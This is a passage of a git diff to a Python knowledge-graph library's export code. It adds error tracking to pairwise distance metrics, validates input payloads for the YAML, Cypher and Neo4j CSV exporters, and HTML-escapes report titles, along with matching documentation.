exporter.to_jsonl("distances.jsonl") + + # Include error status columns for auditable exports: + df = exporter.to_dataframe(include=["hop_count", "metric_errors"]) """ import csv import io import json -from typing import Any, Dict, List, Optional +from typing import Any, Dict, List, Optional, Tuple from ..utils.helpers import classify_path_distance from ..utils.logging import get_logger -logger = get_logger(__name__) +logger = get_logger("export.distance_exporter") _KG_AVAILABLE = False try: @@ -36,6 +39,9 @@ _ALL_COLUMNS = [ "distance_band", "source_betweenness", "target_betweenness", ] +# Error status columns — opt-in via include=["metric_errors"] +# (used by compute_pairs when "metric_errors" is in include set) + class DistanceExporter: """Compute and export pairwise distance metrics for a ContextGraph.""" @@ -65,59 +71,77 @@ class DistanceExporter: node = getattr(self.graph, "nodes", {}).get(node_id) return getattr(node, "node_type", "") if node else "" - def _betweenness(self, graph_dict: Dict[str, Any]) -> Dict[str, float]: + def _betweenness(self, graph_dict: Dict[str, Any]) -> Tuple[Dict[str, float], Optional[str]]: + """Return (betweenness_dict, error). error is None on success.""" if self._centrality is None: - return {} + return {}, None try: result = self._centrality.calculate_betweenness_centrality(graph_dict) - return result.get("betweenness", {}) if isinstance(result, dict) else {} + return (result.get("betweenness", {}) if isinstance(result, dict) else {}), None except Exception: - return {} + logger.warning("Betweenness centrality computation failed; omitting from export", exc_info=True) + return {}, "betweenness" - def _hop_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Optional[int]: + def _hop_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Tuple[Optional[int], Optional[str]]: + """Return (hop_count, error). error is None on success or a short description on failure.""" if self._path_finder is None: - return None + return None, None # KG unavailable — not an error, just no data try: result = self._path_finder.bfs_shortest_path(graph_dict, src, tgt) path = result.get("path", []) if isinstance(result, dict) else (result or []) - return len(path) - 1 if path else None + return (len(path) - 1 if path else None), None except Exception: - return None + logger.warning("Hop distance computation failed for %s -> %s; returning None sentinel", src, tgt, exc_info=True) + return None, "hop_count" - def _weighted_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Optional[float]: + def _weighted_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Tuple[Optional[float], Optional[str]]: + """Return (weighted_distance, error). error is None on success.""" if self._path_finder is None: - return None + return None, None try: result = self._path_finder.dijkstra_shortest_path(graph_dict, src, tgt) if isinstance(result, dict): - return float(result.get("total_weight", len(result.get("path", [])) - 1)) - return None + return float(result.get("total_weight", len(result.get("path", [])) - 1)), None + return None, None except Exception: - return None + logger.warning("Weighted distance computation failed for %s -> %s; returning None sentinel", src, tgt, exc_info=True) + return None, "weighted_distance" - def _semantic_similarity(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Optional[float]: + def _semantic_similarity(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Tuple[Optional[float], Optional[str]]: + """Return (similarity, error). error is None on success.""" if self._similarity is None: - return None + return None, None try: sim = self._similarity.cosine_similarity(graph_dict, src, tgt) - return float(sim) if isinstance(sim, (int, float)) else None + return (float(sim) if isinstance(sim, (int, float)) else None), None except Exception: - return None + logger.warning("Semantic similarity computation failed for %s -> %s; returning None sentinel", src, tgt, exc_info=True) + return None, "semantic_similarity" def compute_pairs( self, include: Optional[List[str]] = None, node_subset: Optional[List[str]] = None, ) -> List[Dict[str, Any]]: - """Compute all pairwise distance metrics and return as a list of dicts.""" + """Compute all pairwise distance metrics and return as a list of dicts. + + When ``include`` contains ``"metric_errors"``, each row gains a + ``metric_errors`` field: an empty string when all metrics succeeded, or + a comma-separated list of metric names that raised during computation + (e.g. ``"hop_count,weighted_distance"``). This lets downstream consumers + distinguish legitimate ``None`` (no path) from computation failure. + """ include_set = set(include or _ALL_COLUMNS) + track_errors = "metric_errors" in include_set + include_set.discard("metric_errors") # not a real metric to compute graph_dict = self._build_graph_dict() node_ids = node_subset or list(self.graph.nodes.keys()) betweenness: Dict[str, float] = {} + betweenness_err: Optional[str] = None if "source_betweenness" in include_set or "target_betweenness" in include_set: - betweenness = self._betweenness(graph_dict) + betweenness, betweenness_err = self._betweenness(graph_dict) rows = [] for i, src in enumerate(node_ids): @@ -125,6 +149,10 @@ class DistanceExporter: if src == tgt: continue row: Dict[str, Any] = {} + errors: List[str] = [] + if betweenness_err: + errors.append(betweenness_err) + if "source_id" in include_set: row["source_id"] = src if "source_type" in include_set: @@ -136,15 +164,23 @@ class DistanceExporter: hop_count: Optional[int] = None if "hop_count" in include_set or "distance_band" in include_set: - hop_count = self._hop_distance(graph_dict, src, tgt) + hop_count, hop_err = self._hop_distance(graph_dict, src, tgt) + if hop_err: + errors.append(hop_err) if "hop_count" in include_set: row["hop_count"] = hop_count if "weighted_distance" in include_set: - row["weighted_distance"] = self._weighted_distance(graph_dict, src, tgt) + wd_val, wd_err = self._weighted_distance(graph_dict, src, tgt) + row["weighted_distance"] = wd_val + if wd_err: + errors.append(wd_err) if "semantic_similarity" in include_set: - row["semantic_similarity"] = self._semantic_similarity(graph_dict, src, tgt) + ss_val, ss_err = self._semantic_similarity(graph_dict, src, tgt) + row["semantic_similarity"] = ss_val + if ss_err: + errors.append(ss_err) if "distance_band" in include_set: row["distance_band"] = classify_path_distance(hop_count) if hop_count is not None else "distant" @@ -154,6 +190,9 @@ class DistanceExporter: if "target_betweenness" in include_set: row["target_betweenness"] = betweenness.get(tgt) + if track_errors: + row["metric_errors"] = ",".join(errors) if errors else "" + rows.append(row) return rows diff --git a/semantica/export/export_usage.md b/semantica/export/export_usage.md index 140c5a01..7c8881e2 100644 --- a/semantica/export/export_usage.md +++ b/semantica/export/export_usage.md @@ -297,6 +297,57 @@ export_yaml(semantic_network, "network.yaml", method="semantic_network") export_yaml(schema, "schema.yaml", method="schema") ``` +### Accepted Input + +Both YAML exporters read their payload by key, so the input must be a mapping; +anything else raises `ProcessingError`. A bare list is rejected rather than +wrapped, since these formats distinguish entities from relationships from +triplets and guessing which one a list holds would mislabel the records. + +Each exporter then reads a fixed set of keys, and raises `ValidationError` on a +non-empty mapping that supplies none of them — such a payload would otherwise +serialize to a valid file with every collection empty. Naming a recognized key +is not enough on its own: `{"entities": [], "data": [...]}` also raises, since +nothing resolves while the records sit under a key the exporter never reads. + +| Method | Recognized keys | +| :--- | :--- | +| `"semantic_network"` | `entities` (alias `nodes`), `relationships` (alias `edges`), `triplets` | +| `"schema"` | `classes`, `properties`, `namespaces`, `uri`, `title`, `description`, `version` | + +`metadata` is carried through on both, but does not by itself make a payload +recognized — an `export_json` envelope (`{"data": [...], "count": N, +"metadata": {...}}`) carries one and is rejected. + +```python +# ContextGraph.to_dict() exports directly via the nodes/edges aliases +export_yaml(context_graph.to_dict(), "graph.yaml") + +# A bare list has no unambiguous meaning here +export_yaml(records, "out.yaml") # ProcessingError + +# An export_json payload is refused rather than written out empty +export_yaml({"data": records}, "out.yaml") # ValidationError + +# ...and so is one that names a recognized key but leaves it empty +export_yaml({"entities": [], "data": records}, "out.yaml") # ValidationError +``` + +The value under a recognized key must be a collection of records — a list or +tuple of mappings or objects. A string, a bare mapping, or a scalar raises +`ValidationError` naming the key, rather than being iterated into +character-sized "records" or surfacing as a `TypeError` from inside the +exporter. `None` is read as an absent collection, the same as `[]`. + +```python +export_yaml({"entities": "abc"}, "out.yaml") # ValidationError +export_yaml({"entities": 42}, "out.yaml") # ValidationError +export_yaml({"nodes": {"id": "n1"}}, "out.yaml") # ValidationError — wrap it in a list +``` + +An empty mapping is still accepted: an empty graph is a legitimate export and +has no records to lose. + ## OWL Export ### OWL/XML Format @@ -479,6 +530,23 @@ Pass `validate=True` to run a post-export integrity check before returning: export_neo4j_csv(kg, "neo4j_import/", validate=True) ``` +#### Accepted Input + +Mapping payloads are read on the same terms as the YAML exporters (see [Accepted +Input](#accepted-input) above): `entities`/`relationships`, with `nodes`/`edges` +accepted as aliases. A non-empty mapping that supplies neither — or that supplies +a malformed collection value — raises `ValidationError` rather than writing +header-only CSVs indistinguishable from a genuinely exported empty graph. The +payload is normalized before any file is opened, so a rejected export writes +nothing. + +Graph *objects* are unaffected: they are still read off `nodes`/`entities` and +`edges`/`relationships` attributes. + +```python +export_neo4j_csv({"data": [{"id": "e1"}]}, "neo4j_import/") # ValidationError +``` + #### Importing into Neo4j Once the CSV files are generated, they can be imported into a new Neo4j database using the `neo4j-admin database import` command: diff --git a/semantica/export/lpg_exporter.py b/semantica/export/lpg_exporter.py index 40f688a5..06ac4554 100644 --- a/semantica/export/lpg_exporter.py +++ b/semantica/export/lpg_exporter.py @@ -24,7 +24,7 @@ from pathlib import Path from typing import Any, Dict, List, Optional, Union from ..utils.exceptions import ProcessingError, ValidationError -from ..utils.helpers import ensure_directory +from ..utils.helpers import _require_mapping, ensure_directory, normalize_graph_payload from ..utils.logging import get_logger from ..utils.progress_tracker import get_progress_tracker @@ -154,15 +154,26 @@ class LPGExporter: """ queries = [] - # Generate indexes if requested - if self.include_indexes: - queries.extend(self._generate_indexes(knowledge_graph)) + # A non-mapping payload cannot reach normalize_graph_payload(): it + # raises ValidationError for that case, which would leave this + # exporter alone in raising a different exception type than the YAML + # and Neo4j exporters raise for the identical mistake. + _require_mapping( + knowledge_graph, ("entities", "relationships", "nodes", "edges") + ) - # Extract entities and relationships - entities = knowledge_graph.get("entities", []) - relationships = knowledge_graph.get("relationships", []) - nodes = knowledge_graph.get("nodes", entities) - edges = knowledge_graph.get("edges", relationships) + # Accept either vocabulary. Reading 'nodes' with 'entities' as the + # default dropped every entity when 'nodes' was present but empty -- + # the shape JSONExporter emits -- so resolution is centralized. + normalized = normalize_graph_payload(knowledge_graph) + nodes = normalized["entities"] + edges = normalized["relationships"] + + # Generate indexes if requested. Fed the normalized entities so index + # generation sees the same records as node generation; reading + # 'entities' directly here skipped indexes for nodes/edges payloads. + if self.include_indexes: + queries.extend(self._generate_indexes(nodes)) # Generate node creation queries node_queries = self._generate_node_queries(nodes) @@ -174,13 +185,18 @@ class LPGExporter: return queries - def _generate_indexes(self, knowledge_graph: Dict[str, Any]) -> List[str]: - """Generate Cypher index and constraint creation queries.""" + def _generate_indexes(self, entities: List[Dict[str, Any]]) -> List[str]: + """Generate Cypher index and constraint creation queries. + + Args: + entities: Entity records, already resolved from whichever + vocabulary the caller supplied. + """ indexes = [] # Get unique entity types for labels entity_types = set() - for entity in knowledge_graph.get("entities", []): + for entity in entities: entity_type = entity.get("type") or entity.get("entity_type") if entity_type: entity_types.add(entity_type) diff --git a/semantica/export/methods.py b/semantica/export/methods.py index 6cec22c4..d2af2581 100644 --- a/semantica/export/methods.py +++ b/semantica/export/methods.py @@ -494,7 +494,7 @@ def export_graph( def export_yaml( - data: Union[Dict[str, Any], List[Dict[str, Any]]], + data: Dict[str, Any], file_path: Union[str, Path], method: str = "semantic_network", **kwargs, @@ -504,14 +504,32 @@ def export_yaml( This is a user-friendly wrapper that exports data to YAML format. + Unlike :func:`export_json` and :func:`export_csv`, which treat a list as + opaque records, both YAML methods are keyed formats: they distinguish + entities from relationships from triplets (and classes from properties + for ``method="schema"``). A bare list is therefore rejected rather than + guessed at, since inferring which collection it represents would silently + mislabel the records. + Args: - data: Data to export (semantic network, entities, relationships) + data: Data to export, as a mapping. For ``method="semantic_network"``, + keyed by 'entities'/'relationships'/'triplets'; for + ``method="schema"``, by 'classes'/'properties'. file_path: Output YAML file path method: Export method (default: "semantic_network") - "semantic_network": Semantic network YAML export - "schema": Schema YAML export **kwargs: Additional options passed to YAML exporters + Raises: + ProcessingError: if ``data`` is not a mapping, or if ``method`` is not + a known YAML export method. + ValidationError: if ``data`` is a mapping whose keys the selected + exporter does not read -- an ``export_json`` envelope + (``{"data": [...], "count": N, "metadata": {...}}``) is the + common case. Such a payload used to be written out as a valid + YAML file with every collection empty. + Examples: >>> from semantica.export.methods import export_yaml >>> export_yaml(semantic_network, "network.yaml", method="semantic_network") diff --git a/semantica/export/neo4j_csv_exporter.py b/semantica/export/neo4j_csv_exporter.py index 7a3461d1..8dbbd31b 100644 --- a/semantica/export/neo4j_csv_exporter.py +++ b/semantica/export/neo4j_csv_exporter.py @@ -32,12 +32,13 @@ from __future__ import annotations import csv import hashlib import json +from collections.abc import Mapping from dataclasses import asdict, is_dataclass from pathlib import Path from typing import Any, Dict, Iterable, List, Optional, Sequence, Union from ..utils.exceptions import ProcessingError, ValidationError -from ..utils.helpers import ensure_directory +from ..utils.helpers import ensure_directory, normalize_graph_payload from ..utils.logging import get_logger from ..utils.progress_tracker import get_progress_tracker @@ -173,6 +174,19 @@ class Neo4jCSVExporter: Returns: Mapping with ``"nodes"`` and ``"relationships"`` output paths. + + Raises: + ValidationError: if a mapping payload carries no recognized graph + key, resolves to nothing while an unread key still holds + records, or holds something other than records under one -- + see + :func:`~semantica.utils.helpers.normalize_graph_payload`. + Each would otherwise be written out as header-only CSVs + indistinguishable from a genuinely empty graph. The payload is + normalized before any file is opened, so a rejected export + writes nothing. + ProcessingError: if a non-mapping payload exposes none of the + graph attributes. """ output_dir = Path(output_dir) ensure_directory(output_dir) @@ -494,9 +508,19 @@ class Neo4jCSVExporter: return prepared def _normalize_graph(self, graph: Any) -> Dict[str, List[Dict[str, Any]]]: - if isinstance(graph, dict): - nodes = graph.get("nodes") or graph.get("entities") or [] - relationships = graph.get("edges") or graph.get("relationships") or [] + if isinstance(graph, Mapping): + # Mapping payloads go through the shared resolver on its default + # terms, so this backend cannot drift from the others: an + # unrecognized mapping raises here rather than writing header-only + # CSVs that read as a successful export of an empty graph. Checked + # against Mapping rather than dict, so a non-dict Mapping (a + # MappingProxyType, a ChainMap) takes this path too, instead of + # falling through to the attribute branch below and being rejected + # as an unrecognized object -- the LPG, Arango, and YAML exporters + # already accept such payloads via the same resolver. + resolved = normalize_graph_payload(graph) + nodes = resolved["entities"] + relationships = resolved["relationships"] else: nodes = getattr(graph, "nodes", None) if nodes is None: diff --git a/semantica/export/report_generator.py b/semantica/export/report_generator.py index d4b67920..fcee11a1 100644 --- a/semantica/export/report_generator.py +++ b/semantica/export/report_generator.py @@ -23,6 +23,7 @@ Author: Semantica Contributors License: MIT """ +import html import json from datetime import datetime from pathlib import Path @@ -362,7 +363,7 @@ class ReportGenerator: ' ' ) title = data.get("title", "Report") - lines.append(f" {title}") + lines.append(f" {html.escape(str(title))}") lines.append("